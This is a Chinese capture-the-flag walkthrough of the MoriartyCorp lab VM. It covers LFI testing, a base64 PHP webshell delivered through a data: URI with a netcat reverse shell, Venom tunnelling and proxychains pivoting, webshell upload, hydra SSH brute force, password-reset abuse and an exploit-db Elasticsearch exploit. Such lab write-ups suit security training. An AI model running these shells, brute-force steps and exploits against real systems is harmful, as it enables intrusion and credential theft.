草庐IT

第三次打靶

我想对你说 2023-03-28 原文

靶机介绍

1)靶机名称:3-Free-MoriartyCorp

2)难度级别:中-高

3)靶机背景介绍:

①你作为一名特工,协助调查世界最大军火商的非法交易

②本次靶机共有6个任务,每完成一个任务并提交flag,则解锁下一个任务

③8000端口用于提交flag和提示下一关信息,不得对8000端口展开攻击

④靶场环境基于Docker容器打造

⑤美观的flag都以#_flag.txt格式存在于目标系统中

⑥flag提交方式为flag{}

4)课程来源:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0

5)靶机地址:链接:https://pan.baidu.com/s/1digsxLOoLd0LoQjrp4OZ8g 提取码:yk91

打靶过程:

1)因靶机通过仅主机方式与宿主机连接,因此可通过二层地址发现的方式,找到靶机的IP地址

#arp-scan -l 192.168.56.0/24

2)对靶机进行全端口扫描

# nmap -p- 192.168.56.106

3)通过靶机提示,方式IP:8000端口对应的web页面

4)通过上述页面提示,复制页面flag{start}开启靶机,开启第一个任务

5)通过上述页面提示,可以发现该靶机对公网开放了一个80端口,此时对80端口进行扫描

# nmap -p80 192.168.56.106

由此可以得出,靶机的处理方法:提交一个flag,就会开启下一关的任务

6)通过IP:80访问WEB页面,通过观察页面直接发现不了任何信息

7)通过点击Blog post 1或者Blog post 1,发现URL出现了变化

8)通过URL发现,该页面可能存在文件包含漏洞,对其进行 基本测试

http://192.168.56.106/?file=../../../../etc/passwd

通过测试发现,确实存在文件包含漏洞

9)对文件包含漏洞进行利用:加载自己的webshell,进行漏洞的反弹,在kali主机上获取一个反弹的shell

浏览器:
http://192.168.56.106/?file=data:/text/plain;base64,PD9waHAgJHZhcj1zaGVsbF9leGVjKCRfR0VUWydjbWQnXSk7IGVjaG8gJHZhciA/Pg==&cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.56.103+1337+>/tmp/f

kali主机:
nc -lvvp 1337

10)通过反弹shell,输入命令,查看到在根用户下存在第一个flag文件

11)将获取到的flag,提交至IP:8000端口中,解锁一下任务

12)按照页面提示信息,下一任务是为了攻击该企业的内部网络,且内部网络地址范围为172.17.0.3-254

注:因为是内网地址段,所以通过kaLi无法直接访问到内网主机,此时可通过隧道代理的技术手段穿透内网,使得可以在kali主机上直接访问内容,此处使用Venom隧道连接工具

下载地址:https://github.com/Dliv3/Venom/releases

13)通过前期信息搜集发现目标主机是Linux主机,所以把针对Linux系统的代理客户端程序传输到目标服务器上,然后利用客户端程序与目标系统建立一条隧道,从而穿透内网,先Kali主机搭建web服务,将客户端程序下载至目标服务器

# cp agent_linux_x64 /var/www/html
# systemctl restart apache2

14)通过第十步反弹的webshell,下载客户端程序

$ wget http://192.168.56.103/agent_linux_x64

15)在kali主机启动隧道的服务端程序(监听9999端口)

# ./admin_linux_x64 -lport 9999

16)启动客户端程序,同时指定服务器端的Ip地址,kali服务器端的监听端口

 $ chmod +x agent_linux_x64
 $ ./agent_linux_x64 -rhost 192.168.56.103 -rport 9999

此时服务器显示连接成功

17)在服务器端,输入shouw命令,发现第一跳节点已出现,然后进入节点1,开启一个本地的sockes监听端口1080,这样就在kali服务端又开启一个监听端口

>>> show
>>> goto 1
>>> socks 1080

18)上述步骤完成后,在kali主机配置proxychains,利用proxychains的代理功能,让kali上的所有工具都可以利用代理去穿透目标系统的内网(在最后一行修改代理服务器的IP地址)

# vi /etc/proxychains4.conf
最后一行编辑:socks5 	127.0.0.1 1080
注释DNS代理:#proxy_dns

19)配置完成后,就可以挂着proxychains去扫描目标系统的内网,此处使用nmap扫描目标系统的内网网段的常用端口

# proxychains nmap 172.17.0.3-254 -p80,22,44

20)通过上述扫描发现开放了172.17.0.4:80,对其进行访问,访问时需要在浏览器配置代理

访问出现如下界面

21)在上述页面中,可以上传文件,但是上传文件时,需要输入密码,此时通过busuit对其进行暴力破解。问题:当浏览器把代理指向Burp后,浏览器就失去了穿透内网的能力,因为要访问内网,必须要挂之前建立前的隧道代理(socks代理),为解决该问题,需要在burp中配置二级代理

配置完成后,访问网页时,先通过burp代理,再通过socks代理

22)此时可正常访问,上传webshell文件,并进行提交,提交时通过Burp抓包

23)对密码进行暴力破解,破解出密码为password,同时可以查看到上传的目录

http://172.17.0.4/photo/22/shell.php

24)通过中国蚁剑进行webshell连接,需要先设置中国蚁剑的代理为socks代理,保存后,添加上述连接,连接至服务器后,即可获取到flag

蚁剑加载器:https://github.com/AntSwordProject/AntSword-Loader

蚁剑源码:https://gitcode.net/mirrors/antswordproject/antsword?utm_source=csdn_github_accelerator

25)将flag在IP:8000处进行提交,进入下一个任务,根据任务提示,页面告诉我们已经有一名特工已经进入目标服务器中,且在目标服务中发现了一些账号和密码,同时提示我们,目标系统上有一个SSH的server,可利用上述用户和密码登录至服务器中,但是目标ssh服务器的IP地址需要自己发现:现在内网中发现开启了22端口的主机172.17.0.5

#nmap -p22 -ST -Pn 172.17.0.3-254

26)形成用户名和密码文件

27)通过hydra进行暴力破解

# proxychains hydra -L users.txt -P password.txt ssh://172.17.0.5

28)通过ssh用户名和密码登录目标服务器后,查看到flag

flag{what_weapons}

29)通过上述提示可知某个主机没有开放80端口,但是开放了443,8000,8080,8888中的某个端口,继续通过扫描发现

#proxychains nmap -p443,8000,8080,8888 -sT -Pn 172.17.0.3-254

30)通过访问发现是一个类似聊天室的页面,输入上述提示中的用户名和密码

http://172.17.0.6:8000

31)点击上面chat按钮,发现了admin用户和buyer13的聊天记录

32)点击修改密码操作,发现此处存在任意密码修改漏洞,可以直接修改管理员密码:抓取数据包后,修改用户名为admin,修改admin用户名密码为123

33)重新访问网页,输入修改后的用户名和密码,在聊天室中发现了flag

34)通过上述提示发现,存在一个elasticsearch的服务器,因此对9200端口进行扫描

#proxychains nmap -p9200 -sT -Pn 172.17.0.3-20

35)通过浏览器进行访问,elasticsearch的版本

36)通过kali搜索elasticsearch的可能利用的漏洞

# searchsploit elasticsearch

37)利用代码,获取falg

# proxychains python2 /usr/share/exploitdb/exploits/linux/remote/36337 172.17.0.7

有关第三次打靶的更多相关文章

  1. ruby - 尝试比较两个文本文件,并根据信息创建第三个 - 2

    我有两个文本文件,master.txt和926.txt。如果926.txt中有一行不在master.txt中,我想写入一个新文件notinbook.txt。我写了我能想到的最好的东西,但考虑到我是一个糟糕的/新手程序员,它失败了。这是我的东西g=File.new("notinbook.txt","w")File.open("926.txt","r")do|f|while(line=f.gets)x=line.chompifFile.open("master.txt","w")do|h|endwhile(line=h.gets)ifline.chomp!=xputslineendende

  2. 计算机网络笔记:TCP三次握手和四次挥手过程 - 2

    TCP是面向连接的协议,连接的建立和释放是每一次面向连接的通信中必不可少的过程。TCP连接的管理就是使连接的建立和释放都能正常地进行。三次握手TCP连接的建立—三次握手建立TCP连接①若主机A中运行了一个客户进程,当它需要主机B的服务时,就发起TCP连接请求,并在所发送的分段中用SYN=1表示连接请求,并产生一个随机发送序号x,如果连接成功,A将以x作为其发送序号的初始值:seq=x。主机B收到A的连接请求报文,就完成了第一次握手。客户端发送SYN=1表示连接请求客户端发送一个随机发送序号x,如果连接成功,A将以x作为其发送序号的初始值:seq=x②主机B如果同意建立连接,则向主机A发送确认报

  3. 【VeighNa】开始量化交易——第三章:构建价差套利 - 2

    文章目录1.价差套利原理1.1概述1.2以BTC为例2.投研分析3.veighna的价差交易回测引擎4.实盘交易1.价差套利原理1.1概述在数字货币交易市场,我们会发现大多数行情下,相同币种之间的不同交割合约会存在一定的价差,由于它们属于同一品种,本身价值不会有任何差别,而且涨跌趋势一致,相关性高。那么如果在它们价差低的时候买入,价差高的时候卖出,这样我们就可以赚取中间的这部分差价。不过在实际交易过程中,我们还需要考虑到交易滑点、手续费、极端行情下,价差走出趋势特征…1.2以BTC为例图一、不同合约的比特币行情图由上图可以看出比特币远月合约与永续合约之间存在一定的价差。图二、某一时刻比特币价差

  4. ruby-on-rails - Ruby DateTime 格式 : How can I get 1st, 第二、第三、第四? - 2

    首先,DateTime格式变量似乎没有在任何地方记录,因此对可以在rubydocs中向我展示此内容的任何人+1。其次,在查看Date.strftime函数代码时,我没有看到任何可以让我执行以下操作的内容:2010年9月9日,星期四有人知道这是否可行吗? 最佳答案 您可能想要takealookhere.总结time=DateTime.nowtime.strftime("%A,%B#{time.day.ordinalize}%Y")请注意,您在纯Ruby(2.0)中运行,您需要调用:require'active_support/core

  5. 修改第三方UI组件库样式的四种方法 - 2

    前提:当我们要修改vant组件库中Tabbar图标大小的样式(原图标是字体图标,大小由font-size控制)。  字体图标字体大小由css变量(--van-tabbar-item-icon-size)控制, 1.插槽方法结论:当你想要自定义使用插槽时,插入自己的元素,那么可以直接在当前作用域直接修改元素的样式。自定义img{height:28px}传入图片,用height属性控制图片大小,达到与字体图标相同效果2.全局定义变量结论:全局定义一个变量,覆盖它默认变量的值定义变量缺点:全局修改。 :root{--van-tabbar-item-icon-size:30px!important;/

  6. ruby-on-rails - Rails 上持续的第三方 API 监控和测试 - 2

    我们想设置自动化作业(通过Jenkins)以在第三方API出现故障或他们部署了不兼容的API时发出警报。我说的是针对真实的HTTPAPI进行测试,而不是模拟,但是因为我们已经使用rspec编写了模拟,所以我不确定我们是否应该通过编写两个独立的睾丸来重复这项工作。有人有这方面的经验吗?(如果其他工具可以提供帮助,我不限于Ruby/Rspec) 最佳答案 你看过VCR了吗??使用它,您可以“记录您的测试套件的HTTP交互并在未来的测试运行期间重播它们以进行快速、确定性、准确的测试”。在测试来自外部API的预期响应时,我将它与RSpec一

  7. ruby - 在 ruby​​ 中调试第三方 gem 的最佳方法 - 2

    由于rubygem中可能有很多GhostMethods,我认为仅仅通过静态阅读其源代码来研究rubygem的内部机制并不是一个好主意.有没有一种方法可以将第三方gem的源文件附加到正在运行的ruby​​进程进行调试,以便我可以设置断点并查看其动态运行情况?顺便说一句,我试图通过单击“require”语句的上下文菜单“GoTo->Implementations”或第三方gem的其他符号(require'watir'forexample),但没有成功。Ruby等动态类型语言的IDE符号导航失败是否正常? 最佳答案 我很想知道是否有更好的

  8. javascript - 导入第三方js文件到angular typescript项目 - 2

    在我使用Angular的过程中,我被迫使用四种不同的方式来包含第3方库poliglot.js(对于多语言)。为了能够在我的Lang类中使用newPolyglot(...):exportclassLang{...constructor(){this.polyglot=newPolyglot({locale:'en'});...}...}我用这四种方法A.在我相当老的(2016年)angular2(基于framerworkangular2-webpack-starter)项目中(目前由于缺少require指令,该解决方案不起作用在新的Angular项目中):varPolyglot=requ

  9. javascript - JavaScript 可以从第三方域加载 XML 数据吗? - 2

    JavaScript可以从Yahoo加载RSSXML提要吗??是否允许客户端JS访问第三方域名? 最佳答案 您可以使用我的博文UnwrittenguidetoYahooQueryLangauge中概述的技术您可以使用如下yql语句查询XML数据表:select*fromxmlwhereurl="http://path/to/xml然后,您将使用srchttp://query.yahooapis.com/v1/public/yql?q={youryqlhere}在html中添加脚本标签(可以使用document.createEleme

  10. javascript - node.js - PM2 将未捕获的异常记录到第三方服务(作为 Logentries) - 2

    我在我的node.js项目中使用pm2(https://github.com/Unitech/pm2)。此外,我还在Logentries(https://logentries.com)中发送应用程序的错误日志。我想知道是否可以从应用程序中记录未捕获的异常(例如,当出现严重故障并且pm2重新启动应用程序时)?我知道使用process.on('uncaughtException')是不好的做法,所以想听听一些建议。谢谢! 最佳答案 您从哪里了解到process.on('uncaughtException')是一种不好的做法?只要您在记录

随机推荐